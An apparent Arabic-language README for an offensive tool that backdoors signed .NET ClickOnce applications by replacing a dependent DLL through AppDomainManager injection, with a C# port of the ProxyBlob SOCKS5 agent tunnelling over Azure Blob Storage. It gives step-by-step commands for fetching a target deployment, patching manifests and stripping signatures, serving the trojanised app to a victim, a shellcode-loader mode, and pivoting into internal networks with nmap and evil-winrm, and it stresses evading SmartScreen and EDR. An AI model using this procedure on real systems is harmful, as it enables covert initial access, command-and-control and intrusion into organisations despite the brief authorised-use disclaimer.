
تسليح تطبيقات .NET ClickOnce الموقعة للوصول الأولي من خلال اختطاف DLL تابع عبر حقن AppDomainManager وتحميل نسخة C# من وكيل ProxyBlob.

قم بتسليح تطبيقات ClickOnce الخاصة بـ .NET الموقعة رقماً للوصول الأولي عن طريق اختطاف DLL تابعة لها عبر حقن AppDomainManager وتحميل منفذ C# لوكل ProxyBlob. يحتوي على منفذ C# لـ ProxyBlob — وكيل SOCKS5 يمرر كل حركة المرور عبر Azure Blob Storage، ممتزجاً مع البيئات التي يكون فيها *.blob.core.windows.net مسموحاً به.
ClickOnce هي تقنية النشر بنقرة واحدة من مايكروسوفت لتطبيقات .NET. عندما ينقر المستخدم على رابط .application، يقوم ويندوز بتحميل التطبيق وتشغيله دون الحاجة إلى صلاحيات مسؤول. الهجوم:
.exe.config يخبر CLR بتحميل ملف DLL الخاص بنا كـ AppDomainManagerيبقى ملف .exe المضيف دون تغيير وموقعاً بشكل صحيح. يرى SmartScreen ملفاً معروفاً. يرى EDR عملية موثوقة تحمل وحدات. الوكيل الخاص بك يتواصل فقط مع Azure Blob Storage عبر HTTPS.
├── clickonce_backdoor.py # السكربت الرئيسي لتخريب ملف DLL الخاص بوكل ProxyBlob في تطبيق ClickOnce
├── examples/
│ ├── ProxyBlobAgent.cs # حمولة DLL الخاصة بوكل ProxyBlob لتطبيق ClickOnce (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # وكيل ProxyBlob المستقل (للاختبار)
│ ├── ShellcodeLoader.cs # بديل: حمولة محمل شيلكود
│ └── MessageBoxPoC.cs # PoC: مربع رسالة (للتحقق من نجاح الحقن)
└── README.md
المهاجم (لينكس/macOS):
جهاز البناء (ويندوز):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (يكتشف تلقائياً)nuget.exe بجانب السكربت أو أضفه إلى PATH (مطلوب فقط لوضع --proxyblob)يكتشف السكربت csc.exe و nuget.exe تلقائياً. بالنسبة لـ --proxyblob، يتم تثبيت BouncyCastle و ILMerge تلقائياً عبر NuGet عند التشغيل الأول في مجلد packages/ بجانب السكربت (يستمر عبر عمليات التشغيل).
كود الوكيل محايد للبنية (لا P/Invoke ولا شيلكود). علامة --platform (التي تُمرر إلى csc.exe /platform:) تتحكم في كيفية تحميل CLR له:
تحقق من التطبيق الهدف باستخدام corflags.exe TargetApp.exe لتحديد بنيته.
# إنشاء حساب تخزين
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# الحصول على المفاتيح
az storage account keys list --account-name yourblobaccount --output table
أو استخدم Azurite محلياً:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
في شل الوكيل:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

احفظ سلسلة الاتصال هذه — ستذهب إلى الوكيل.
تحقق دائماً من أن الوكيل يعمل بشكل مستقل قبل دمج ClickOnce.
على جهاز بناء ويندوز:
# ترجمة
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# دمج باستخدام ILMerge في ملف exe واحد (ليتم تضمين BouncyCastle)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# تشغيل
Agent.exe <connection-string>
مرة أخرى إلى الوكيل:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
اختبار:
proxychains curl http://ipconfig.io
إذا نجح هذا، تابع إلى دمج ClickOnce.
ابحث عن تطبيق ClickOnce مستهدف أثناء الاستطلاع (ابحث عن عناوين .application). تحتاج إلى:
تنزيل كامل نشر ClickOnce:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

يقوم السكربت تلقائياً بتجميع كود C# المصدر، والتعامل مع تبعيات NuGet (لـ --proxyblob)، ودمج BouncyCastle في DLL، وتصحيح كل البيانات (manifests) — كل ذلك في تشغيل واحد:

# وضع ProxyBlob — يقوم بالتجميع التلقائي، تثبيت حزم NuGet التلقائي، والدمج التلقائي
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# وضع PoC — تحقق سريع من نجاح الحقن
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# وضع شيلكود
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# تطبيق هدف x64
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

يتولى السكربت: توليد كود C# مع إعداداتك مضمنة، التجميع عبر csc.exe، دمج BouncyCastle (لـ --proxyblob)، استبدال DLL، إنشاء .exe.config مع حقن AppDomainManager، إضافة كلا الملفين إلى البيانات، إعادة حساب كل تجزئات SHA256 وأحجام الملفات، إزالة التواقيع البرمجية، تصفير publicKeyToken للبائع، وتحديث عنوان URL لموفر النشر.
تجاوز يدوي: لا يزال بإمكانك استخدام --payload لتزويد DLL مُجمّع مسبقاً (يتخطى التجميع):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ مشكلة اسم التجميع في ILMerge: يقوم ILMerge بتعيين اسم التجميع الداخلي من اسم ملف الإخراج، وليس الإدخال. إذا قمت بالدمج إلى
Foo_merged.dllثم أعدت تسمية الملف إلىFoo.dll، سيبقى الاسم الداخليFoo_merged— يقرأ CLR البيانات الوصفية، وليس اسم الملف. لن يتطابق.exe.config، وسيفشل حقن AppDomainManager بصمت دون أي خطأ. يتعامل السكربت مع هذا بشكل صحيح عن طريق الدمج مباشرة إلى الاسم النهائي.
# خادم مدمج مع أنواع MIME صحيحة وتخزين مؤقت
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

أو استخدم أي خادم ويب مع تكوين أنواع MIME التالية:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
أرسل للضحية: http://YOUR-SERVER/APPLICATION.application
ينقر الضحية على تثبيت → يعمل التطبيق → ينفتح نفق SOCKS5 الخاص بك.

# على جهاز الوكيل
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 على 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local



امسح بين عمليات النشر الاختبارية:
rundll32 dfshim CleanOnlineAppCache
لتصحيح الأخطاء، استخدم ProxyBlobStandalone.cs أولاً — يكتب سجلات مفصلة إلى stderr تُظهر أنواع الحزم، أحداث الاتصال، والأخطاء. بمجرد التأكد من العمل، انتقل إلى ProxyBlobAgent.cs لدمج ClickOnce.
الوكيل هو منفذ أمين لـ وكيل Go ProxyBlob. تم العثور على ثلاثة أخطاء حرجة وإصلاحها أثناء النقل:
1. ترتيب بايتات UUID — يخزن uuid.UUID في Go 16 بايت بترتيب RFC 4122 (big-endian). يقوم مُنشئ Guid في .NET بتبديل أول 3 مكونات إلى little-endian، مما يسبب عدم تطابق ConnectionID على الشبكة. تم الإصلاح باستخدام مصفوفات byte[16] خام.
2. XChaCha20-Poly1305 — يستخدم Go chacha20poly1305.NewX() = XChaCha20 مع nonces بحجم 24 بايت. يدعم ChaCha20Poly1305 في BouncyCastle فقط nonces IETF بحجم 12 بايت. تم الإصلاح عن طريق تنفيذ استخلاص المفتاح الفرعي HChaCha20:
subkey = HChaCha20(key, nonce[0:16]) // أرباع ChaCha20 على key+nonce
ietf_nonce = 0x00000000 || nonce[16:24] // الـ 8 بايت المتبقية تصبح nonce IETF
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
3. حشوة Base64 — يستخدم Go base64.RawStdEncoding (بدون حشوة =). يتطلب .NET الحشوة. تم الإصلاح عن طريق الإضافة التلقائية للحشوة قبل فك التشفير.
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
Key Exchange:
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
Agent → Proxy: CmdAck [agentPubkey:32]
Symmetric key: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
Encryption: XChaCha20-Poly1305 on all CmdData payloads
Blob Transport:
info — username@hostname XOR 0xDEADB10B
request — proxy→agent (agent polls, reads, clears)
response — agent→proxy (agent writes, proxy reads, clears)
Polling: exponential backoff 50ms → 3s (×1.5)
*.blob.core.windows.net عبر HTTPS — ممتزجة مع حركة Azure الشرعية.exe المضيف موقعاً بشكل صحيح — يتم تعديل DLL التابع وملف .config فقطAPPLICATION)هذه الأداة مخصصة لاختبار الأمن والأبحاث المصرح بها فقط. استخدمها فقط ضد الأنظمة التي لديك إذن كتابي صريح لاختبارها.
--platform | يعمل على ويندوز x86 | يعمل على ويندوز x64 | متى تستخدم |
|---|
x86 (افتراضي) | 32-bit | 32-bit (WoW64) | التطبيق الهدف هو x86 |
x64 | ✗ | 64-bit | التطبيق الهدف هو x64 |
anycpu | 32-bit | 64-bit | اختبار مستقل، أو الهدف هو AnyCPU |
| الخطأ | الإصلاح |
|---|
csc.exe not found | قم بتثبيت .NET Framework 4.x أو أضف csc.exe إلى PATH |
nuget.exe not found | قم بالتحميل من nuget.org، ضعه بجانب السكربت أو أضفه إلى PATH |
CS0012: type 'Object' ... netstandard | أضف /r:netstandard.dll إلى أمر csc |
Metadata file ... net461 ... not found | استخدم مسار BouncyCastle الخاص بـ netstandard2.0 |
| العَرَض | السبب | الإصلاح |
|---|
FileNotFoundException: BouncyCastle.Cryptography | DLL غير مضمن | استخدم ILMerge لإنشاء DLL واحد |
| AppDomainManager لا يتم تحميله بعد تشغيل ClickOnce | عدم تطابق اسم التجميع الداخلي | يجب أن يتطابق اسم التجميع مع .exe.config. تحقق باستخدام ildasm /text Dll.dll | findstr ".assembly" |
| الوكيل يخرج برمز 3 | سلسلة الاتصال غير صالحة أو منتهية الصلاحية | أعد إنشاءها باستخدام create في الوكيل |
| تثبيت ClickOnce يفشل بصمت | عدم تطابق تجزئة البيان | أعد تشغيل السكربت الآلي أو أعد حساب تجزئات SHA256 يدوياً |
خطأ RefDefValidation أثناء التثبيت | تم تصفير رمز الاسم القوي لـ DLL تابع لجهة خارجية | يقوم السكربت بتصفير رمز البائع فقط. استخدم --dll-name لتعيين اسم حمولة DLL إذا لزم الأمر |